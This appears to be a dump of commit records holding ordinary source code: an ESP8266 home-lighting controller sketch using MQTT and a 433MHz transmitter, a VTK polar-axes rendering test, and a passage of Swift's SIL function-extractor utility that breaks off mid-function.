OUTPUT);\n \/\/ Initialize pin start values\n digitalWrite(DIGITAL_PIN_LED_NODEMCU, LOW); \/\/ Lights on HIGH\n digitalWrite(DIGITAL_PIN_LED_ESP, HIGH); \/\/ Lights on LOW\n \/\/ set serial speed\n Serial.begin(115200);\n Serial.println(\"Setup Starting\");\n\n \/\/ Setup 433Mhz Transmitter\n pinMode(tx433Mhz_pin, OUTPUT);\n \/\/ Set 433Mhz pin to output\n mySwitch.enableTransmit(tx433Mhz_pin);\n \/\/ Set pulse length.\n mySwitch.setPulseLength(setPulseLength);\n \/\/ Optional set protocol (default is 1, will work for most outlets)\n mySwitch.setProtocol(1);\n\n\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Setup wifi\n setup_wifi();\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Set MQTT settings\n mqttClient.setServer(mqtt_server, 1883);\n mqttClient.setCallback(mqttcallback);\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n Serial.println(\"Setup Complete\");\n}\n\n\n\n\/\/\/ Main working loop\nvoid loop() {\n yield(); \/\/ call on the background functions to allow them to do their thing.\n\n \/\/ First check if we are connected to the MQTT broker\n checkMqttConnection();\n yield(); \/\/ call on the background functions to allow them to do their thing.\n\n \/\/ Publish MQTT\n mtqqPublish();\n}\n<commit_msg>Added extra publish topics<commit_after>\/***************************************************\n Lighting Controller\n Richard Huish 2016\n ESP8266 based with local home-assistant.io GUI,\n 433Mhz transmitter for lighting control\n and DHT22 temperature-humidity sensor\n ----------\n Key Libraries:\n ESP8266WiFi.h> https:\/\/github.com\/esp8266\/Arduino\n RCSwitch.h https:\/\/github.com\/sui77\/rc-switch\n DHT.h https:\/\/github.com\/adafruit\/DHT-sensor-library\n Adafruit_Sensor.g https:\/\/github.com\/adafruit\/Adafruit_Sensor required for DHT.h\n ----------\n GUI: Locally hosted home assistant\n MQTT: Locally hosted broker https:\/\/mosquitto.org\/\n ----------\n The circuit:\n NodeMCU Amica (ESP8266)\n Inputs:\n DHT22 temperature-humidity sensor - GPIO pin 5 (NodeMCU Pin D1)\n Outputs:\n 433Mhz Transmitter - GPIO pin 2 (NODEMCU Pin D4)\n LED_NODEMCU - pin 16 (NodeMCU Pin D0)\n LED_ESP - GPIO pin 2 (NodeMCU Pin D4) (Shared with 433Mhz TX)\n ----------\n Notes:\n NodeMCU lED lights to show MQTT conenction.\n ESP lED lights to show WIFI conenction.\n\n****************************************************\/\n\n\/\/ Note: Libaries are inluced in \"Project Dependencies\" file platformio.ini\n#include <ESP8266WiFi.h> \/\/ ESP8266 core for Arduino https:\/\/github.com\/esp8266\/Arduino\n#include <PubSubClient.h> \/\/ Arduino Client for MQTT https:\/\/github.com\/knolleary\/pubsubclient\n#include <RCSwitch.h> \/\/ https:\/\/github.com\/sui77\/rc-switch\n#include <DHT.h> \/\/ https:\/\/github.com\/adafruit\/DHT-sensor-library\n#include <Adafruit_Sensor.h> \/\/ have to add for the DHT to work https:\/\/github.com\/adafruit\/Adafruit_Sensor\n#include <secretes.h> \/\/ Passwords etc not for github\n\n\n\/\/ DHT sensor parameters\n#define DHTPIN 5 \/\/ GPIO pin 5 (NodeMCU Pin D1)\n#define DHTTYPE DHT22\n\n\/\/ DHT sensor instance\nDHT dht(DHTPIN, DHTTYPE, 15);\n\n\/\/ WiFi parameters\nconst char* wifi_ssid = secrete_wifi_ssid; \/\/ Wifi access point SSID\nconst char* wifi_password = secrete_wifi_password; \/\/ Wifi access point password\n\n\/\/ 433Mhz transmitter parameters\nconst int tx433Mhz_pin = 2; \/\/ GPIO pin 2 (NODEMCU Pin D4)\nconst int setPulseLength = 305;\n\n\/\/ 433MHZ TX instance\nRCSwitch mySwitch = RCSwitch();\n\n\/\/ MQTT Settings\nconst char* mqtt_server = secrete_mqtt_server; \/\/ E.G. 192.168.1.xx\nconst char* clientName = secrete_clientName; \/\/ Client to report to MQTT\nconst char* mqtt_username = secrete_mqtt_username; \/\/ MQTT Username\nconst char* mqtt_password = secrete_mqtt_password; \/\/ MQTT Password\nboolean willRetain = true; \/\/ MQTT Last Will and Testament\nconst char* willMessage = \"offline\"; \/\/ MQTT Last Will and Testament Message\n\n\/\/ Subscribe\nconst char* subscribeLightingGatewayTopic = secrete_subscribeLightingGatewayTopic; \/\/ E.G. Home\/LightingGateway\/transmit\n\/\/ Publish\nconst char* publishTemperatureTopic = secrete_publishTemperatureTopic; \/\/ E.G. Home\/Room\/temperature\nconst char* publishHumidityTopic = secrete_publishHumidityTopic; \/\/ E.G. Home\/Room\/humidity\nconst char* publishLastWillTopic = secrete_publishLastWillTopic; \/\/ E.G. Home\/LightingGateway\/status\"\nconst char* publishClientName = secrete_publishClientName; \/\/ E.G. Home\/LightingGateway\/clientName\"\nconst char* publishIpAddress = secrete_publishIpAddress; \/\/ E.G. Home\/LightingGateway\/IpAddress\"\nconst char* publishSignalStrength = secrete_publishSignalStrength; \/\/ E.G. Home\/LightingGateway\/SignalStrength\"\nconst char* publishHostName = secrete_publishHostName; \/\/ E.G. Home\/LightingGateway\/HostName\"\nconst char* publishSSID = secrete_publishSSID; \/\/ E.G. Home\/LightingGateway\/SSID\"\n\n\n\/\/ MQTT instance\nWiFiClient espClient;\nPubSubClient mqttClient(espClient);\nchar message_buff[100];\nlong lastReconnectAttempt = 0; \/\/ Reconnecting MQTT - non-blocking https:\/\/github.com\/knolleary\/pubsubclient\/blob\/master\/examples\/mqtt_reconnect_nonblocking\/mqtt_reconnect_nonblocking.ino\n\n\/\/ MQTT publish frequency\nunsigned long previousMillis = 0;\nconst long publishInterval = 60000; \/\/ Publish requency in milliseconds 60000 = 1 min\n\n\/\/ LED output parameters\nconst int DIGITAL_PIN_LED_ESP = 2; \/\/ Define LED on ESP8266 sub-modual\nconst int DIGITAL_PIN_LED_NODEMCU = 16; \/\/ Define LED on NodeMCU board - Lights on pin LOW\n\n\n\/\/ Setp the connection to WIFI and the MQTT Broker. Normally called only once from setup\nvoid setup_wifi() {\n \/* Explicitly set the ESP8266 to be a WiFi-client, otherwise, it by default,\n would try to act as both a client and an access-point and could cause\n network-issues with your other WiFi-devices on your WiFi-network. *\/\n WiFi.mode(WIFI_STA);\n\n \/\/ Connect to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.print(wifi_ssid);\n WiFi.begin(wifi_ssid, wifi_password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(250);\n Serial.print(\".\");\n }\n Serial.print(\"\");\n Serial.println(\"WiFi connected\");\n\n Serial.printf(\"RSSI: %d dBm\\n\", WiFi.RSSI());\n Serial.print(\"Connected, IP address: \");\n Serial.println(WiFi.localIP());\n Serial.printf(\"Hostname: %s\\n\", WiFi.hostname().c_str());\n\n digitalWrite(DIGITAL_PIN_LED_NODEMCU, LOW); \/\/ Lights on LOW. Light the NodeMCU LED to show wifi connection.\n}\n\n\/\/ 433Mhz Gatway\nvoid transmit433Msg(int msgToSend) {\n \/\/ Acknowledgements\n \/\/ thisoldgeek\/ESP8266-RCSwitch\n \/\/ https:\/\/github.com\/thisoldgeek\/ESP8266-RCSwitch\n \/\/ Find the codes for your RC Switch using https:\/\/github.com\/ninjablocks\/433Utils (RF_Sniffer.ino)\n \/\/ sui77\/rc-switch\n \/\/ https:\/\/github.com\/sui77\/rc-switch\/tree\/c5645170be8cb3044f4a8ca8565bfd2d221ba182\n mySwitch.send(msgToSend, 24);\n Serial.println(F(\"433Mhz TX command sent!\"));\n\n}\n\n\n\n\/\/ MQTT payload to transmit via out gateway\nvoid mqttcallback(char* topic, byte* payload, unsigned int length) {\n \/\/If you want to publish a message from within the message callback function, it is necessary to make a copy of the topic and payload values as the client uses the same internal buffer for inbound and outbound messages:\n \/\/http:\/\/www.hivemq.com\/blog\/mqtt-client-library-encyclopedia-arduino-pubsubclient\/\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n\n \/\/ create character buffer with ending null terminator (string)\n int i = 0;\n for (i = 0; i < length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \/\/ Check the value of the message\n String msgString = String(message_buff);\n Serial.println(msgString);\n\n \/\/ Check the message topic\n String srtTopic = topic;\n\n if (srtTopic.equals(subscribeLightingGatewayTopic)) {\n\n int msgSend = msgString.toInt();\n \/\/do the transmittt\n transmit433Msg(msgSend);\n delay(500);\n\n }\n}\n\n\/*\n Non-Blocking mqtt reconnect.\n Called from checkMqttConnection.\n Based on example from 5ace47b Sep 7, 2015 https:\/\/github.com\/knolleary\/pubsubclient\/blob\/master\/examples\/mqtt_reconnect_nonblocking\/mqtt_reconnect_nonblocking.ino\n*\/\nboolean mqttReconnect() {\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Attempt to connect\n if (mqttClient.connect(clientName, mqtt_username, mqtt_password, publishLastWillTopic, 0, willRetain, willMessage)) {\n\n Serial.print(\"Attempting MQTT connection...\");\n\n \/\/ Once connected, update status to online, retained = true - last will Message will drop in if we go offline ...\n mqttClient.publish(publishLastWillTopic, \"online\", true);\n\n \/\/ Publish device name, retained = true\n mqttClient.publish(publishClientName, clientName, true);\n\n \/\/ Publish device IP Address, retained = true\n char buf[16];\n sprintf(buf, \"%d.%d.%d.%d\", WiFi.localIP()[0], WiFi.localIP()[1], WiFi.localIP()[2], WiFi.localIP()[3] );\n mqttClient.publish(publishIpAddress, buf, true);\n\n \/\/ Publish the Wi-Fi signal quality (RSSI), retained = true\n String tempVar = String(WiFi.RSSI());\n mqttClient.publish(publishSignalStrength, tempVar.c_str(), true);\n\n \/\/ Publish the device DHCP hostname, retained = true\n mqttClient.publish(publishHostName, WiFi.hostname().c_str(), true);\n\n \/\/ Publish the WiFi SSID, retained = true\n mqttClient.publish(publishSSID, WiFi.SSID().c_str(), true);\n\n \/\/ Resubscribe to feeds\n mqttClient.subscribe(subscribeLightingGatewayTopic);\n\n Serial.println(\"connected\");\n\n } else {\n Serial.print(\"Failed MQTT connection, rc=\");\n Serial.print(mqttClient.state());\n Serial.println(\" try in 1.5 seconds\");\n }\n return mqttClient.connected();\n}\n\n\/*\n Checks if connection to the MQTT server is ok. Client connected\n using a non-blocking reconnect function. If the client loses\n its connection, it attempts to reconnect every 5 seconds\n without blocking the main loop.\n Called from main loop.\n*\/\nvoid checkMqttConnection() {\n if (!mqttClient.connected()) {\n \/\/ We are not connected. Turn off the wifi LED\n digitalWrite(DIGITAL_PIN_LED_ESP, HIGH); \/\/ Lights on LOW\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n \/\/ Attempt to reconnect\n if (mqttReconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n \/\/ We are connected.\n digitalWrite(DIGITAL_PIN_LED_ESP, LOW); \/\/ Lights on LOW\n \/\/call on the background functions to allow them to do their thing.\n yield();\n \/\/ Client connected: MQTT client loop processing\n mqttClient.loop();\n }\n}\n\nvoid mtqqPublish() {\n\n \/\/ Only run when publishInterval in milliseonds exspires\n unsigned long currentMillis = millis();\n \/\/ CODE TO MOVE TO functions\n if (currentMillis - previousMillis >= publishInterval) {\n \/\/ save the last time this ran\n previousMillis = currentMillis;\n if (mqttClient.connected()) {\n\n \/\/ Publish data\n\n \/\/ Publish the Wi-Fi signal quality (RSSI)\n String tempVar = String(WiFi.RSSI());\n mqttClient.publish(publishSignalStrength, tempVar.c_str());\n Serial.printf(\"RSSI: %d dBm\\n\", WiFi.RSSI());\n\n \/\/ Grab the current state of the sensor\n String strTemp = String(dht.readTemperature()); \/\/Could use String(dht.readTemperature()).c_str()) to do it all in one line\n if (!mqttClient.publish(publishTemperatureTopic, String(dht.readTemperature()).c_str())) \/\/ Convert dht.readTemperature() to string object, then to char array.\n Serial.print(F(\"Failed to published to [\")), Serial.print(publishTemperatureTopic), Serial.print(\"] \");\n else\n Serial.print(F(\"Temperature published to [\")), Serial.print(publishTemperatureTopic), Serial.println(\"] \");\n\n String strHumi = String(dht.readHumidity());\n if (!mqttClient.publish(publishHumidityTopic, strHumi.c_str()))\n Serial.print(F(\"Failed to humidity to [\")), Serial.print(publishHumidityTopic), Serial.print(\"] \");\n else\n Serial.print(F(\"Humidity published to [\")), Serial.print(publishHumidityTopic), Serial.println(\"] \");\n\n }\n }\n}\n\n\nvoid setup() {\n \/\/ Initialize pins\n pinMode(DIGITAL_PIN_LED_NODEMCU, OUTPUT);\n pinMode(DIGITAL_PIN_LED_ESP, OUTPUT);\n \/\/ Initialize pin start values\n digitalWrite(DIGITAL_PIN_LED_NODEMCU, LOW); \/\/ Lights on HIGH\n digitalWrite(DIGITAL_PIN_LED_ESP, HIGH); \/\/ Lights on LOW\n \/\/ set serial speed\n Serial.begin(115200);\n Serial.println(\"Setup Starting\");\n\n \/\/ Setup 433Mhz Transmitter\n pinMode(tx433Mhz_pin, OUTPUT);\n \/\/ Set 433Mhz pin to output\n mySwitch.enableTransmit(tx433Mhz_pin);\n \/\/ Set pulse length.\n mySwitch.setPulseLength(setPulseLength);\n \/\/ Optional set protocol (default is 1, will work for most outlets)\n mySwitch.setProtocol(1);\n\n\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Setup wifi\n setup_wifi();\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Set MQTT settings\n mqttClient.setServer(mqtt_server, 1883);\n mqttClient.setCallback(mqttcallback);\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n Serial.println(\"Setup Complete\");\n}\n\n\n\n\/\/\/ Main working loop\nvoid loop() {\n yield(); \/\/ call on the background functions to allow them to do their thing.\n\n \/\/ First check if we are connected to the MQTT broker\n checkMqttConnection();\n yield(); \/\/ call on the background functions to allow them to do their thing.\n\n \/\/ Publish MQTT\n mtqqPublish();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestPolarAxes.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .SECTION Thanks\n\/\/ This test was written by Philippe Pbay, Kitware SAS 2011\n\n#include \"vtkBYUReader.h\"\n#include \"vtkCamera.h\"\n#include \"vtkPolarAxesActor.h\"\n#include \"vtkLight.h\"\n#include \"vtkLODActor.h\"\n#include \"vtkNew.h\"\n#include \"vtkOutlineFilter.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkPolyDataNormals.h\"\n#include \"vtkProperty.h\"\n#include \"vtkRegressionTestImage.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkTextProperty.h\"\n\n\/\/----------------------------------------------------------------------------\nint TestPolarAxes( int argc, char * argv [] )\n{\n vtkNew<vtkBYUReader> reader;\n char* fname = vtkTestUtilities::ExpandDataFileName( argc, argv, \"Data\/teapot.g\" );\n reader->SetGeometryFileName( fname );\n delete [] fname;\n\n vtkNew<vtkPolyDataNormals> normals;\n normals->SetInputConnection( reader->GetOutputPort() );\n\n vtkNew<vtkPolyDataMapper> readerMapper;\n readerMapper->SetInputConnection( normals->GetOutputPort() );\n\n vtkNew<vtkLODActor> readerActor;\n readerActor->SetMapper( readerMapper.GetPointer() );\n readerActor->GetProperty()->SetDiffuseColor( .5, .8, .3 );\n\n vtkNew<vtkOutlineFilter> outline;\n outline->SetInputConnection(normals->GetOutputPort() );\n\n vtkNew<vtkPolyDataMapper> mapOutline;\n mapOutline->SetInputConnection(outline->GetOutputPort() );\n\n vtkNew<vtkActor> outlineActor;\n outlineActor->SetMapper( mapOutline.GetPointer() );\n outlineActor->GetProperty()->SetColor( 0.0, 0.0, 0.0 );\n\n vtkNew<vtkCamera> camera;\n camera->SetClippingRange( 1.0, 100.0 );\n camera->SetFocalPoint( 0.9, 1.0, 0.0 );\n camera->SetPosition( 2., 6., 13. );\n\n vtkNew<vtkLight> light;\n light->SetFocalPoint( 0.21406, 1.5, 0.0 );\n light->SetPosition( 7., 7., 4. );\n\n vtkNew<vtkRenderer> renderer;\n renderer->SetActiveCamera( camera.GetPointer() );\n renderer->AddLight( light.GetPointer() );\n\n \/\/ Update normals in order to get correct bounds for polar axes\n normals->Update();\n \n vtkNew<vtkPolarAxesActor> polaxes;\n polaxes->SetBounds( normals->GetOutput()->GetBounds() );\n polaxes->SetPole( 0., 1., 3. );\n polaxes->SetAutoScaleRadius( false );\n polaxes->SetMaximumRadius( 3. );\n polaxes->SetMaximumAngle( 180. );\n polaxes->SetNumberOfRadialAxes( 7 );\n polaxes->SetCamera( renderer->GetActiveCamera() );\n polaxes->SetRadialLabelFormat( \"%6.1f\" );\n polaxes->GetRadialAxesProperty()->SetColor( .0, .0, .9 );\n polaxes->SetScreenSize( 12.0 );\n polaxes->GetPolarAxisTitleTextProperty()->SetColor( .9, 0., 0. );\n polaxes->GetPolarAxisLabelTextProperty()->SetColor( .9, 0., 0. );\n\n vtkNew<vtkRenderWindow> renWin;\n renWin->SetMultiSamples( 0 );\n renWin->AddRenderer( renderer.GetPointer() );\n renWin->SetWindowName( \"VTK - Polar Axes custom range\" );\n renWin->SetSize( 600, 600 );\n\n vtkNew<vtkRenderWindowInteractor> iren;\n iren->SetRenderWindow( renWin.GetPointer() );\n\n renderer->SetBackground( 1., 1., 1. );\n renderer->AddViewProp( readerActor.GetPointer() );\n renderer->AddViewProp( outlineActor.GetPointer() );\n renderer->AddViewProp( polaxes.GetPointer() );\n renWin->Render();\n\n int retVal = vtkRegressionTestImage( renWin.GetPointer() );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n return !retVal;\n}\n<commit_msg>Nicer background to test polar axes<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestPolarAxes.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .SECTION Thanks\n\/\/ This test was written by Philippe Pbay, Kitware SAS 2011\n\n#include \"vtkBYUReader.h\"\n#include \"vtkCamera.h\"\n#include \"vtkPolarAxesActor.h\"\n#include \"vtkLight.h\"\n#include \"vtkLODActor.h\"\n#include \"vtkNew.h\"\n#include \"vtkOutlineFilter.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkPolyDataNormals.h\"\n#include \"vtkProperty.h\"\n#include \"vtkRegressionTestImage.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkTextProperty.h\"\n\n\/\/----------------------------------------------------------------------------\nint TestPolarAxes( int argc, char * argv [] )\n{\n vtkNew<vtkBYUReader> reader;\n char* fname = vtkTestUtilities::ExpandDataFileName( argc, argv, \"Data\/teapot.g\" );\n reader->SetGeometryFileName( fname );\n delete [] fname;\n\n vtkNew<vtkPolyDataNormals> normals;\n normals->SetInputConnection( reader->GetOutputPort() );\n\n vtkNew<vtkPolyDataMapper> readerMapper;\n readerMapper->SetInputConnection( normals->GetOutputPort() );\n\n vtkNew<vtkLODActor> readerActor;\n readerActor->SetMapper( readerMapper.GetPointer() );\n readerActor->GetProperty()->SetDiffuseColor( .5, .8, .3 );\n\n vtkNew<vtkOutlineFilter> outline;\n outline->SetInputConnection(normals->GetOutputPort() );\n\n vtkNew<vtkPolyDataMapper> mapOutline;\n mapOutline->SetInputConnection(outline->GetOutputPort() );\n\n vtkNew<vtkActor> outlineActor;\n outlineActor->SetMapper( mapOutline.GetPointer() );\n outlineActor->GetProperty()->SetColor( 0.0, 0.0, 0.0 );\n\n vtkNew<vtkCamera> camera;\n camera->SetClippingRange( 1.0, 100.0 );\n camera->SetFocalPoint( 0.9, 1.0, 0.0 );\n camera->SetPosition( 2., 6., 13. );\n\n vtkNew<vtkLight> light;\n light->SetFocalPoint( 0.21406, 1.5, 0.0 );\n light->SetPosition( 7., 7., 4. );\n\n vtkNew<vtkRenderer> renderer;\n renderer->SetActiveCamera( camera.GetPointer() );\n renderer->AddLight( light.GetPointer() );\n\n \/\/ Update normals in order to get correct bounds for polar axes\n normals->Update();\n \n vtkNew<vtkPolarAxesActor> polaxes;\n polaxes->SetBounds( normals->GetOutput()->GetBounds() );\n polaxes->SetPole( 0., 1., 3. );\n polaxes->SetAutoScaleRadius( false );\n polaxes->SetMaximumRadius( 3. );\n polaxes->SetMaximumAngle( 180. );\n polaxes->SetNumberOfRadialAxes( 7 );\n polaxes->SetCamera( renderer->GetActiveCamera() );\n polaxes->SetRadialLabelFormat( \"%6.1f\" );\n polaxes->GetRadialAxesProperty()->SetColor( .0, .0, .9 );\n polaxes->SetScreenSize( 12.0 );\n polaxes->GetPolarAxisTitleTextProperty()->SetColor( .9, 0., 0. );\n polaxes->GetPolarAxisLabelTextProperty()->SetColor( .9, 0., 0. );\n\n vtkNew<vtkRenderWindow> renWin;\n renWin->SetMultiSamples( 0 );\n renWin->AddRenderer( renderer.GetPointer() );\n renWin->SetWindowName( \"VTK - Polar Axes custom range\" );\n renWin->SetSize( 600, 600 );\n\n vtkNew<vtkRenderWindowInteractor> iren;\n iren->SetRenderWindow( renWin.GetPointer() );\n\n renderer->SetBackground( .7, .7, .7 );\n renderer->AddViewProp( readerActor.GetPointer() );\n renderer->AddViewProp( outlineActor.GetPointer() );\n renderer->AddViewProp( polaxes.GetPointer() );\n renWin->Render();\n\n int retVal = vtkRegressionTestImage( renWin.GetPointer() );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n return !retVal;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- SILExtract.cpp - SIL function extraction utility -----------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/\n\/\/\/ This utility is meant to help simplify the extraction of test cases from sil\n\/\/\/ files by removing (currently only) functions that do not match a list of\n\/\/\/ string. It also allows for the inverse to be selected. Eventually this\n\/\/\/ should have additional capabilities like stripping globals, vtables, etc.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"sil-func-extractor\"\n#include \"swift\/Strings.h\"\n#include \"swift\/Basic\/Demangle.h\"\n#include \"swift\/Basic\/LLVM.h\"\n#include \"swift\/Basic\/LLVMInitialize.h\"\n#include \"swift\/Frontend\/DiagnosticVerifier.h\"\n#include \"swift\/Frontend\/Frontend.h\"\n#include \"swift\/Frontend\/PrintingDiagnosticConsumer.h\"\n#include \"swift\/SIL\/SILBuilder.h\"\n#include \"swift\/SIL\/SILUndef.h\"\n#include \"swift\/SILOptimizer\/Analysis\/Analysis.h\"\n#include \"swift\/SILOptimizer\/PassManager\/PassManager.h\"\n#include \"swift\/SILOptimizer\/PassManager\/Passes.h\"\n#include \"swift\/Serialization\/SerializedModuleLoader.h\"\n#include \"swift\/Serialization\/SerializationOptions.h\"\n#include \"swift\/Serialization\/SerializedSILLoader.h\"\n#include \"swift\/Subsystems.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include <cstdio>\n\nusing namespace swift;\n\nstatic llvm::cl::opt<std::string> InputFilename(llvm::cl::desc(\"input file\"),\n llvm::cl::init(\"-\"),\n llvm::cl::Positional);\n\nstatic llvm::cl::opt<std::string>\n OutputFilename(\"o\", llvm::cl::desc(\"output filename\"), llvm::cl::init(\"-\"));\n\nstatic llvm::cl::opt<bool>\n EmitVerboseSIL(\"emit-verbose-sil\",\n llvm::cl::desc(\"Emit locations during sil emission.\"));\n\nstatic llvm::cl::list<std::string>\n FunctionNames(\"func\", llvm::cl::desc(\"Function names to extract.\"));\n\nstatic llvm::cl::opt<bool>\nEmitSIB(\"emit-sib\",\n llvm::cl::desc(\"Emit a sib file as output instead of a sil file\"));\n\nstatic llvm::cl::opt<bool> InvertMatch(\n \"invert\",\n llvm::cl::desc(\"Match functions whose name do not \"\n \"match the names of the functions to be extracted\"));\n\nstatic llvm::cl::list<std::string>\n ImportPaths(\"I\",\n llvm::cl::desc(\"add a directory to the import search path\"));\n\nstatic llvm::cl::opt<std::string>\n ModuleName(\"module-name\",\n llvm::cl::desc(\"The name of the module if processing\"\n \" a module. Necessary for processing \"\n \"stdin.\"));\n\nstatic llvm::cl::opt<std::string>\n ModuleCachePath(\"module-cache-path\",\n llvm::cl::desc(\"Clang module cache path\"));\n\nstatic llvm::cl::opt<std::string> ResourceDir(\n \"resource-dir\",\n llvm::cl::desc(\"The directory that holds the compiler resource files\"));\n\nstatic llvm::cl::opt<std::string>\n SDKPath(\"sdk\", llvm::cl::desc(\"The path to the SDK for use with the clang \"\n \"importer.\"),\n llvm::cl::init(\"\"));\n\nstatic llvm::cl::opt<std::string> Triple(\"target\",\n llvm::cl::desc(\"target triple\"));\n\nstatic llvm::cl::opt<bool>\nEnableSILSortOutput(\"emit-sorted-sil\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Sort Functions, VTables, Globals, \"\n \"WitnessTables by name to ease diffing.\"));\n\nstatic llvm::cl::opt<bool>\nDisableASTDump(\"sil-disable-ast-dump\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Do not dump AST.\"));\n\nstatic llvm::cl::opt<bool> AssumeUnqualifiedOwnershipWhenParsing(\n \"assume-parsing-unqualified-ownership-sil\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Assume all parsed functions have unqualified ownership\"));\n\n\/\/ This function isn't referenced outside its translation unit, but it\n\/\/ can't use the \"static\" keyword because its address is used for\n\/\/ getMainExecutable (since some platforms don't support taking the\n\/\/ address of main, and some platforms can't implement getMainExecutable\n\/\/ without being given the address of a function in the main executable).\nvoid anchorForGetMainExecutable() {}\n\ntemplate <typename Cmp>\nstatic bool stringInSortedArray(StringRef str, ArrayRef<std::string> list,\n Cmp &&cmp) {\n if (list.empty())\n return false;\n auto iter = std::lower_bound(list.begin(), list.end(), str, cmp);\n \/\/ If we didn't find str, return false.\n if (list.end() == iter)\n return false;\n\n return !cmp(str, *iter);\n}\n\nvoid removeUnwantedFunctions(SILModule *M, ArrayRef<std::string> MangledNames,\n ArrayRef<std::string> DemangledNames) {\n assert((!MangledNames.empty() || !DemangledNames.empty()) &&\n \"Expected names of function we want to retain!\");\n assert(M && \"Expected a SIL module to extract from.\");\n\n std::vector<SILFunction *> DeadFunctions;\n for (auto &F : M->getFunctionList()) {\n StringRef MangledName = F.getName();\n std::string DemangledName =\n swift::Demangle::demangleSymbolAsString(MangledName);\n DemangledName = DemangledName.substr(0, DemangledName.find(' '));\n DEBUG(llvm::dbgs() << \"Visiting New Func:\\n\"\n << \" Mangled: \" << MangledName\n << \"\\n Demangled: \" << DemangledName << \"\\n\");\n\n bool FoundMangledName = stringInSortedArray(MangledName, MangledNames,\n std::less<std::string>());\n bool FoundDemangledName = stringInSortedArray(\n DemangledName, DemangledNames,\n [](const std::string &str1, const std::string &str2) -> bool {\n return str1.substr(0, str1.find(' ')) <\n str2.substr(0, str2.find(' '));\n });\n if ((FoundMangledName || FoundDemangledName) ^ InvertMatch) {\n DEBUG(llvm::dbgs() << \" Not removing!\\n\");\n continue;\n }\n\n DEBUG(llvm::dbgs() << \" Removing!\\n\");\n\n \/\/ If F has no body, there is nothing further to do.\n if (!F.size())\n continue;\n\n SILBasicBlock &BB = F.front();\n SILLocation Loc = BB.back().getLoc();\n BB.split(BB.begin());\n \/\/ Make terminator unreachable.\n SILBuilder(&BB).createUnreachable(Loc);\n DeadFunctions.push_back(&F);\n }\n\n \/\/ After running this pass all of the functions we will remove\n \/\/ should consist only of one basic block terminated by\n \/\/ UnreachableInst.\n performSILDiagnoseUnreachable(M);\n\n \/\/ Now mark all of these functions as public and remove their bodies.\n for (auto &F : DeadFunctions) {\n F->setLinkage(SILLinkage::PublicExternal);\n F->getBlocks().clear();\n }\n\n \/\/ Remove dead functions.\n SILPassManager PM(M);\n PM.addDeadFunctionElimination();\n PM.run();\n}\n\nint main(int argc, char **argv) {\n INITIALIZE_LLVM(argc, argv);\n\n llvm::cl::ParseCommandLineOptions(argc, argv, \"Swift SIL Extractor\\n\");\n\n CompilerInvocation Invocation;\n\n Invocation.setMainExecutablePath(llvm::sys::fs::getMainExecutable(\n argv[0], reinterpret_cast<void *>(&anchorForGetMainExecutable)));\n\n \/\/ Give the context the list of search paths to use for modules.\n 